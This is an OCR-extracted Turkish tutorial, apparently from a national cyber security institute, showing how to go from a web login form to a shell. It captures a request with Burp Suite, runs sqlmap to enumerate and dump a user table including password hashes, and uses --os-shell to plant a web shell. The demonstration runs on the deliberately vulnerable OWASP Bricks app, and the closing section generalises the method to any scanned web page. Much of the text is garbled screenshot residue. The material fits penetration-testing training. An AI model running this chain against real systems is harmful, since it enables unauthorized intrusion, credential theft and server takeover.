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TASNIF DISI Web Login Panel’den Shell Alma

WEB LOGIN PANEL'DEN SHELL ALMA

Domain’ci ve Network’cli arkadaslarin otomatik taramalar sirasinda rast geldikleri intranet web
uygulama login ekranlari icin login ekran’dan shell’e uzanan bir metot asagida sunulmustur.

Sartlar
* Web uygulama login ekranindaki kullanici adi metin kutusunda veya parola metin kutusunda veya
herhangi bir baska girdi alaninda sql enjeksiyonu acikhgi var olmali

* Web uygulama sgl enjeksiyonu 6nleyici Bir IPS/WAF trinleri ile korunmuyor olmali
* Web uygulama dizinleri write (yazma) iznine sahip olmali

Adimlar

#1 Burpsuite ile Bir Login Ekrandaki Gonderilen Paketi Alma

request.txt

#2 SQLi Acikligini Tespit Etme ve Somiirme

> sglmap -r request.txt --dbs --level 5 --risk 3 // Veritabani adlarini siralar.
> sglmap -r request.txt -D veritabaniAdi --tables // Tablo adlarini siralar.
> sqlmap -r request.txt -D veritabaniAdi -T tabloAdi --columns // Kolon adlarini siralar.

> sqlmap -r request.txt -D veritabaniAdi -T tabloAdi -C kolonAdi1,kolonAdi2 --dump  // igerigi sunar

#3 SQLi Acgikligr Yoluyla Gecgerli Bir Login Panel Kullanici Adin1 Alma ve Shell'e
Gegme

request.txt dosyasindaki username v.b. parametre 6nceki sqli saldirilarindan elde edilen ve —dump ile
ekrana basilan gecerli bir kullanici adiyla glincellenmeli. Boylece --os-shell basarili calisacaktir.

> sglmap -r "request(guncellenmis).txt" --os-shell

os-shell> whoami

ubuntu

os-shell> uname -a

‘Linux 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:00:10 UTC 2014 x86_64 x86_64 GNU/Linux’

os-shell>
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TASNIF DISI Web Login Panel’den Shell Alma

UYGULAMA

(*) OWASP Bricks adl kasitli zafiyetlere sahip web uygulama (izerinde login panel’den sql enjeksiyonu
yoluyla shell alma uygulanmistir.

#1 Burpsuite ile Bir Login Ekrandaki Gonderilen Paketi Alma

noe &=

00

Login

You are not logged In.

password

ORNEK BIR
= WEB
UYGULAMA
LOGIN EKRANI

Burp Suite Community Edition v1.7.36 - Temporary Project

Repeater | Sequencer | Decoder | Comparer | Extender | project options | User options | Alerts
Intercept | HTTP history | WebSockets histonyf [ Options | [

Iy
(2) Proxy Listeners N
@ Burp PrOses listeners to receive incoming HTTP requests from your browser. You will need to configure your browser to use one of the listeners as its proxy server.
[ Add[[Running |[interface linvisible | Redirect | Certificate ]
— 127.0.0.1:8082 Per-host
¢
Remove o
Each installation of Burp generates its own CA certificate that Proxy listeners can use when negotiating SSL connections. You can import or export this certificate for use in other
tools or another installation of Burp.
v
|_Import / export CA certificate | |_Regenerate CA certificate J
(2) Intercept Client Requests
® Use these settings to control which requests are stalled for viewing and editing in the Intercept tab.
(@ Intercept requests based on the following rules:
| Add | Enabled | Operator |Match type | Relationship | Condition
File extension Does not match (~qif$|~jpg$|~ pngs$|~ css$|~js$l...
Edit o or Request Contains parameters
=] or HTTP method Does not match (get|post)
E >
| O And URL Is in target scope
_—
Down
() Automatically fix missing or superfluous new lines at end of request
M Automatically update Content-Length header when the request is edited
(2) Intercept Server Responses
® Use these settings to control which responses are stalled for viewing and editing in the Intercept tab.
[ Intercept responses based on the following rules: Master inte
L Add J Enabled | Operator |Match type | Relationship | Condition -'
o P e e
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TASNIF DISI Web Login Panel’den Shell Alma

2 preterences x
€« ce O Firefon | aboutpreferencessearchResults o o mnoe W=
(© Yourbrowser i eing managed by your organization proy °
& General Search Results
Home
@ Network Settings. )
Q search Configure how Firefox connects to the internet. Learn more Settings...

& Privacy & Security

& symne

# Extensions & Themes

@ Fietox support

2 Preferences.

€ ce O firefon  sboutpreferencesssearchResults ' moe o=

Auto-detect proRY settings for this network
use system proxy settings

© Manual prowy configuration
HTTP Proy localhost

7 Also use this prawy for FTP and HTTPS

SOCKS Host localhost

® socxsvs  socksys

‘Automatic proxy configuration URL

Example: mozila.org, netnz, 192.168.1.0/24
Connections to localhost, 127.0.0.1, 30d 1 are never proxied.

Do not prompt for authentication if password i saved

Burp Suite Community Edition v1.7.36 - Temporary Project

pider | Scanner | intruder | Repeater | Sequencer | Decoder | comparer | Extender | project options | User options | Alerts |
P history | WebSockets history | Options |

Fovard orop Acton =i

Comment this item LU
|Raw. Params Headers Hex

T

.-
v

- ) & |

0 matches
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8 OWASP Bricks Login For X

« ce © & -0 192.168.1.110, - O moe W=
Deprecated: mysql_connect() The mysql extension is deprecated and will be removed in the future: use mysqll or te hp on line 6
Login

HERHANGI
DEGERLERLE
DOLDURULURLAR

Burp Suite Community Edition v1.7.36 - Temporary Project

Burp Intruder Repeater Window Help

Target [ proy | Spider | Scanner | intruder | Repeater | Sequencer | Decoder | comparer | Extender | Project options | User options | Alerts |
[Jnteespe | HTTP history | websockets history | options |

(#) Request to http://192.168.1.110:80

| Foward || Drop J [ Intercept is on ] L Action J

Raw | Params | Headers | Hex

POST /bricks/login-1/index.php HTTP/1.1

Fost: 192.168.1.110

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 49

Origin: http://192.168.1.110

Authorization: Basic YWRtaW46dGorYQ==

Connection: close

Referer: http://192.168.1.110/bricks/login-1/index.php

Cookie: PHPSESSID=tdpbvzh6vin3slkldnntteaqS3

Upgrade-Insecure-Requests: 1

>

user =kullaniciAdi&p d=parola&submit=Submit

-
v

J
]
:
]

0 matches
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Web Login Panel’den Shell Alma

Burp Intruder Repeater Window Help

Burp Suite Community E

on v1.7.36 - Temporary Project

[ arget |8 | spider | Scanner [ intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts

Jmtercept | TP history | webSockets history | options |

L’J Request to http://192.168.1.110:80

[ Foward || Drop. | [ nterceptison | | Action J
Raw | Params | Headers | Hex
POST /bricks/login-1/index.php HTTP/1.1 a
Host: 192.168.1.110 r
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-forf  Sendto Spider
Content-Length: 49 e o actialecan
Origin: http://192.168.1.110
Authorization: Basic YWRtawdsdGoryg] Send to intruder (67
e Tome) Send to Repeater Ctri+R
Referer: http://192.168.1.110/bricks  Send to Sequencer
Cookie: PHPSESSID=tdpbv2h6vin3slkl4i  sendto Comparer
Upgrade-Insecure-Requests: 1 SR
username=kullaniciAdigpasswd=parola Request in browser >
Engagement tools [Pro version only] >
Change request method
Change body encoding
Copy URL
Copy as curl command
[ Copy o fi
Paste from file
Save item
Don't intercept requests >
Do intercept >
Convert selection >
URL-encode as you type
cut Ctri+x
Copy ctri+C
Paste Ctri+v
Message editor help
Proxy interception help
.
v
? < + > | |Type a search term 0 matches

Burp Intruder Repeater Window Help
Target | Pty | Spider | Scanner | intruder | Repeater | Sequencer | Decoder | comparer | Extender | Project options | User options | Alerts |

 [inteseeps | HTe history | websockets history | Options |

L’J Request to http://192.168.1.110:80

®

[ Foward || orop | [interceptison | [

Raw | Params | Headers | Hex

Action | Corr

POST /bricks/login-1/index.php HTTP/1.1 0
Host: 192.168.1.110 r
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
[Accept- Encoding:ligzip,) defllate Choose a file to save to
Content-Type: application/x-www-form-url
Content-Length: 49
Origin: http://192.168.1.110 Lookn: | (@ hefese b (@] (@) (@] s
Authorization: Basic YWRtaW46dGorYQ==
Connection: close (& Android Documents
Referer: http://192.168.1.110/bricks/lo¢ | (@ Android Studio (@ Downloads
C°°k1:: :’m');dpb"f‘ﬁ";"&“kl““"“ (& arachni-15.1-05.12 (@ eclipse-workspace
\Rezede;tneecure Raduests (@ crunch-3.4 (@ hashcat-2.00
username=kul lani ci Adi &passwd=parolassuby | (@ Desktop @ hydra-8.8
EIN - W
File Name: [requesuxt ‘
Files of Type: |All Files v
-
v
0 matches

] ] ] Ju

TUBITAK — BILGEM — Siber Giivenlik Enstitiisi



TASNIF DISI Web Login Panel’den Shell Alma

#2 SQLi Acikligini Tespit Etme ve SOmiirme

File Edit View Search Terminal Tabs Help

$ sqlmap -r request.txt --dbs --level 5 --risk 3|

File Edit View Search Terminal Tabs Help

sqlmap resumed the following injection point(s) from stored session

: passwd (POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: username=deneme&passwd=deneme' RLIKE (SELECT (CASE WHEN (6485=6485) THEN 8x64656e656d65 ELSE 0x28 END))-- mUJl&submit=Submit

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: username=deneme&passwd=deneme' OR SLEEP(5)-- wTsu&submit=Submit

Paraneter: username (POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: username=deneme' RLIKE (SELECT (CASE WHEN (5056=5056) THEN 6x64656e656d65 ELSE ©x28 END))-- RFbL&passwd=deneme&submit=Submit

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: deneme' OR SLEEP(S5)-- tuWG&passwd=deneme&submit=Submit

here were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: username, type: Single quoted string (default)

[1] place: POST, parameter: passwd, type: Single quoted string

[a] quit

[1 31] [INFO] the back-end DBMS is MysQL

veb server operating system: Linux Ubuntu

eb application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MysQL >= 5.6.12

ilable databases [7]:
bricks

dvwa
information_schema
mysql
performance_schema
phpmyadmin
secondordersqlinjection

shutting down at 18:45:31

sai:~s [
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TASNIF DISI

Web Login Panel’den Shell Alma

File Edit View Search Terminal Tabs Help

:~$ sqlmap -r request.txt -D bricks --table: I

File Edit View Search Terminal Tabs Help

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable locall

me no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 18:45:58

sqlmap resumed the following injection point(s) from stored session:

Parameter: passwd (POST)
ype: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payloa username=deneme&passwi eneme’ RLIKE (SELECT (CASE WHEN (648!

Type: AND/OR time-based blind
Title: MySQL >= 5.6.12 OR time-based blind
Payload: username=denene&passwd=deneme' OR SLEEP(5)-- WIsugsubmit=submit

Parameter: username (POST)
Type: boolean-based blind

Title: MysQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payloa

Type: AND/OR time-based blind
Title: MySQL >= 5.6.12 OR time-based blind
Payload: username=deneme’ OR SLEEP(S)-- tuWG&passwd=deneme&subnit=Submit

there were nultiple injection points, please select the one to use for following injections:
[] place: POST, parameter: username, type: Single quoted string (default)

[1] place: POST, parameter: passwd, type: Single quoted string

[q] Quit

[18:45:59] [INFO] the back-end DBMS is MysQL
eb server operating system: Linux Ubuntu

web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.6.12

Database: bricks
[1 table]
users |

[*] shutting down at 18:45:59

s [

File Edit View Search Terminal Tabs Help

S sqlmap -r request.txt -D bricks -T users --column

485) THEN 0x64656€656d65 ELSE ©x28 END))-- mUJl&submit=Submit

username=deneme' RLIKE (SELECT (CASE WHEN (5656=5056) THEN 6x64656e656d65 ELSE 0x28 END))-- RFbL&passwd=deneme&submit=Submit
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be's sl mensndnnlans

File Edit View Search Terminal Tabs Help

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: username=deneme' OR SLEEP(5)-- tuWG&passwd=deneme&submit=Submit
there were multiple injection points, please select the one to use for following injections:
place: POST, parameter: username, type: Single quoted string (default)
place: POST, parameter: passwd, type: Single quoted string
Quit

46:16] [INFO] the back-end DBMS is MySQL

server operating system: Linux Ubuntu

application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.0.12

Database: bricks
Table: users

[8 columns]

| Column

k- - .
email varchar(45)
host varchar(45)
idusers int(11)

lang varchar(45)
LELT varchar(45)
password varchar(45)
ref varchar(145)
ua varchar(45)

[*] shutting down at 18:46:16

i~ [

File Edit View Search Terminal Tabs Help

:~$ sqlmap -r request.txt -D bricks -T users -C name,password --dump |
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Web Login Panel’den Shell Alma

File Edit View Search Terminal Tabs Help

' OR SLEEP(5)-- wTsu&submit=Submit

: username (POST)
boolean-based blind
: MySQL RLIKE boolean-based blind -
: username=denene'

WHERE, HAVING, ORDER BY or GROUP BY clause
RLIKE (SELECT (CASE WHEN (505

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: username=deneme' OR SLEEP(5)-- tuWG&passwd=deneme&submit=Submit

there were
[e]
[1]
[a]
>

multiple injection points, please select the one to use for following injections
POST, parameter: username, type: Single quoted string (default)
POST, parameter: passwd, type: Single quoted string

place:
place:
Quit
[18:46:41] [INFO] the back

web server operating system: Linux Ubuntu

web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.6.12

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
do you want to crack them via a dictionary-based attack? [Y/n/q] n

Database: bricks

Table: users

[4 entries]

b - -

admin
5f4dcc3b5aa765d61d8327deb8s2cf99 |
ron

5056) THEN ©x64656€656d65 ELSE 0x28 END))--

RFbL&passwd=deneme&submit=Submit

n

GEGERLI BiR KULLANICI ADI SQLi SALDIRISINDAKI BU NiHAI CIKTIDAN ALINIR. ORN; admin.

#3 SQLi Acikhig1 Yoluyla Gegerli Bir Login Panel Kullanici Adin1 Alma

ve Shell'e Ge¢me

request.txt

Open~

POST /bricks/login-1/index.php HTTP/1.1
Host: 192.168.1.110
User-Agent: Mozilla/5.0 (X11; Linux x86_64;

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded
Content-Length: 49

origin: http://192.168.1.110

Authorization: Basic YWRtaW46dGorYQ==

Connection: close

Referer: http://192.168.1.110/bricks/login-1/index.php
Cookie: PHPSESSID=tdpbv2hévin3siki4nntteaq53
Upgrade-Insecure-Requests: 1

username= &passwd=parola&submit=Submit

PlainText v Tab Wwidth:8 ¥

rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,1image/webp,*/*;q=0.8

Save

v

Ln 16, Col 10 INS

TUBITAK — BILGEM - Siber Givenlik Enstitiisi
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*request.txt

POST /bricks/login-1/index.php HTTP/1.1

Host: 192.168.1.110

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 49

origin: http://192.168.1.110

Authorization: Basic YWRtaW46dGorYQ==

Connection: close

Referer: http://192.168.1.110/bricks/login-1/index.php

Cookie: PHPSESSID=tdpbv2h6vin3siki4nntteaq53

Upgrade-Insecure-Requests: 1

username="Tiili&passwd=parola&submit=Submit

GER —
KULLANICI ADI DEGERI

PlainText v Tab width:8 v Ln 16, Col 10 v INS

& *request.txt

Open~

POST /bricks/login-1/index.php HTTP/1.1
Host: 192.168.1.110 e = 2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:80.0) Gecko/20100101 = =
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,1image/
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate Save All
Content-Type: application/x-www-form-urlencoded Find
Content-Length: 49 UL b
origin: http://192.168.1.110 Find and Replace...
Authort;atlon: Basic YWRtaW46dGorYQ== Clear Highlight
Connection: close _
Referer: http://192.168.1.110/bricks/login-1/in Go to Line...
Cookie: PHPSESSID=tdpbv2hévin3siki4nntteaqs3 -

View »
Upgrade-Insecure-Requests: 1

Tools »
username=admin&passwd=parola&submit= Close All

Close

PlainText ¥ TabWwidth:8 » LnS, Col 32 v INS
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NEIN request(guncellenmis).txt

<R » . 2
Desktop Name € Modified «
Documents & multiparty-meeting 13 May
Downloads & hashcat-2.00 5 Haz
_ & eclipse-workspace 22Haz
R & snap 22 Haz
Pictures i openvpndirectory 9Tem
Videos - ly.nis 20Agu
i VirtualBox VMs Creds 04:05
Sl i VirtualBox VMs 04:12
&3 Downloads 12:44
Other Locations @ Desktop 18:21
i® Pictures 18:47
oracle_defauft_passwords_2.txt 3,7kB 3 Oca 2008
slowlerfs.py 6,6 kB 14 Sub 2018
ockyou_stajyer2.txt 1399MB 28 Haz 2018
killapache.pl 1,9kB 12Eyl 2018
examples.desktop 9,0kB 2Kas 2018
oracle_default_passwords.txt 4,3kB 115ub 2019
rockyou_stajyer.txt 139,9MB 7 Nis 2019
rockyou.txt 139,9MB 24 Nis 2019
tallantq 14,0kB 29 Agu 2019
stale_outputs_checked 0bytes 22 Haz
- 269 bytes 12 Agu
lynis-report.dat 0 bytes 20Ag4u
lynis.log 168 bytes 20Agu
request.txt 633 bytes 18:43
Character Encoding: | Current Locale (UTF-8) ¥ | Line Ending: | Windows v All Text Files v

File Edit View Search Terminal Tabs Help

:~$ sqlmap -r "request(guncellenmis).txt" --os-shell]]
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Web Login Panel’den Shell Alma

File Edit View Search Terminal Tabs Help

[*] starting at 18

Sqlmap resumed the following injection point(s) from stored session:

RLIKE boolean-based blind - WHERE

HAVING, ORDER BY or GROUP BY cl
rname=denene&passwd=denene' RLIKE

ECT (CASE WHEN (6485=6485) THEN ©x64656€656d65 ELSE ©:

rname=denemeapassi eme’ OR SLEEP(5)-- WT:
rname (POST)
boolean-based blind
: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
rname=deneme’ RLIKE (SELECT (CASE WHEN (5056=5056) THEN 6x64656e656d65 ELSE ©x28 END))-

sed blind
5.0.12 OR time-based blind
rnane=deneme’ OR SLEEP(S)-- tuM swd=denemeasubnit
there were multiple injection points, please select the one to use for following injections:
0ST, parameter: username, type: Single quoted string (default)
0ST, parameter: passwd, type: Single quoted string

web server operating
web application tech:

5.5.9
back-end DBMS: MysQL >

[Which web application language does the web server support?
1] AsP

[2] AsPX

] 3sp
[4] PHP (default)

File Edit View Search Terminal Tabs Help

sqlmap resumed the following injection point(s) from stored session:

parameter: passwd (POST)
Typ olean-based blind
Tit QL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Paylo:
Type: AND/OR time-based blind
Title: Mys 12 OR time-based blind
Payload: username=deneme&passwd=deneme' OR SLEEP(S)-- wTsuisubmit=submit
sername (POST)
oolean-based blind
boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clai
neme' RLIKE (SELECT (CASE WHEN (5056=5656) THEN 6x64656e656d65
AND/OR time-based blind
ySQL >= 5.6.12 OR time-based blind
neme' OR SLEEP(S)-- tuWG&passwd=deneme&submit=submit
nultiple injection points, please select the one to use for following injections
ST, parameter: username, type: Single quoted string (default)

0ST, parameter: passwd, type: Single quoted stri
[a] Quit

[18:48:46] [INFO] the back-end DI Q
ieb server operating system: Linux Ubuntu

veb application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: >= 5.0.12

L

hich web application language does the web server support?
[1] AsP

[2] AsPx

(3] 5P

(4] PHP (default)

shell> whoant 1
you want to retrieve the command standard output? [Y/n/a] a
ommand standard output: www-data’
shell> uname -a 2
mand 5(ﬁnaura output: "L{nux {Ktestmakinesl 3.13.0-24-gener {c #46-UbUnty SHP ThU Apr 16 197
shell>

Not:

)-- RFbL&P

el B it SQ _
Linux Ubuntu
Apache 2.4.7, PHP 5.5.9

sernane=deneme&passwd=denene’ RLIKE (SELECT (CASE WHEN (6485=6485) THEN 0X64656e656d65 ELSE 0x28 END))-

LSE 6x28 END))-- RFbL&pass:

ubnit=Submit

id=denemeg&submit=Subnit

SHELL ALINIR

- mUJl&submit=Submit

ubnit=subnit

108 UTC 2014 X86_64 X86_64 x86_64 GNU/LTnuX"

Shell alabilmek icin gecerli bir kullanici adi gerekliligi (veya onun yerine parola da olabilir) nedeni web
uygulamadaki yerlesik baslangi¢ sgl sorgusunun sql hatasi vermeyecek sekilde sonu¢ donmesi ve bu
sayede ilave olarak enjekte ettigimiz web shell upload’lama sorgusunun isini uygulayabilmesidir. Web
uygulamadaki yerlesik baslangi¢c sorgu sql hatasi verirse bu durumda bu sorguya enjekte ettigimiz
sorgudaki web shell upload’lama faaliyeti basarili olamamaktadir ve web shell dosyasi bos icerikte

web uygulama sunucusuna upload’lanmaktadir. Bu nedenle yerlesik baslangic sorgu enjekte edilen
sorgunun web shell’i dizgiin upload’layabilmesi icin hata vermeyecek sekilde calistiriimahdir, yani

gecerli bir veri ile doldurulmaldir. Bu 6rnekte gecerli bir kullanici adi ile doldurulmasi gibi.
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TASNIF DISI Web Login Panel’den Shell Alma

EKSTRA

Bu uygulanan saldiri metodu sadece login panel’le sinirli kalmak zorunda degildir. Taramalar sirasinda
gelen herhangi bir web ekraninda gonderilen paket burpsuite ile kopyalanip sglmap’e paket.txt
seklinde sunularak ayni islem zinciri takip edilebilir ve paket icerisindeki girdi noktalarinda sql
enjeksiyonu agikhigl varsa shell’e dogru yol alinabilir.

Login ekran durum calismasinda gecerli bir kullanici adi girilmesi sartti shell’e gidebilmek icin. Fakat
baska durum calismalarinda (6rn; herhangi bir girdi kabul eden ve girdiye gore veritabanindan bazi
kayitlar donebilen bir web ekraninda) gecerli bir deger bulma derdi yoktur. Zaten ekranda elle
deneyerek ekranin istedigi veriye gore bir veri girilip karsiliginda kayit donisi yakalandiginda
dogrudan kopyalanacak pakete ilgili gecerli veri girilip --os-shell denemesi yapilabilir. Yani kimi web
ekranlarinda gecerli bir girdi versini elle bulmak miimkiindiir. Orn; sehir ismi bekleyen metin
kutusuna “ankara” girilmesi ve bu gecerli verinin paketteki ilgili parametrede glincellenip konulmasi
ve --os-shell’e gidilmesi gibi.

Sqgl enjeksiyonu var olsa bile ve IPS/WAF olmasa bile shell alinamayabilir. Clinkti hedef web
uygulamada sqlmap’in denedigi varsayilan dizinlerde yazma izni olmayabilir. Eger son asamaya kadar
gelinirse ve dizin yazma iznine takilinirsa bu durumda web uygulamada upload v.b. bir dizin kesfi
yapilmasi gerekir ki bu tir dizinler yazma iznine sahiptirler. Sglmap’e bu dizini hedef gostererek web
shell upload’lamasi yaptirarak dizin yazma engeli asilabilir.

KAYNAKLAR

= https://github.com/sqlmapproject/sglmap/issues/3232

= https://www.willhackforsushi.com/?p=581

= https://community.rsa.com/community/products/netwitness/blog/2017/04/10/from-sql-
injection-to-webshell
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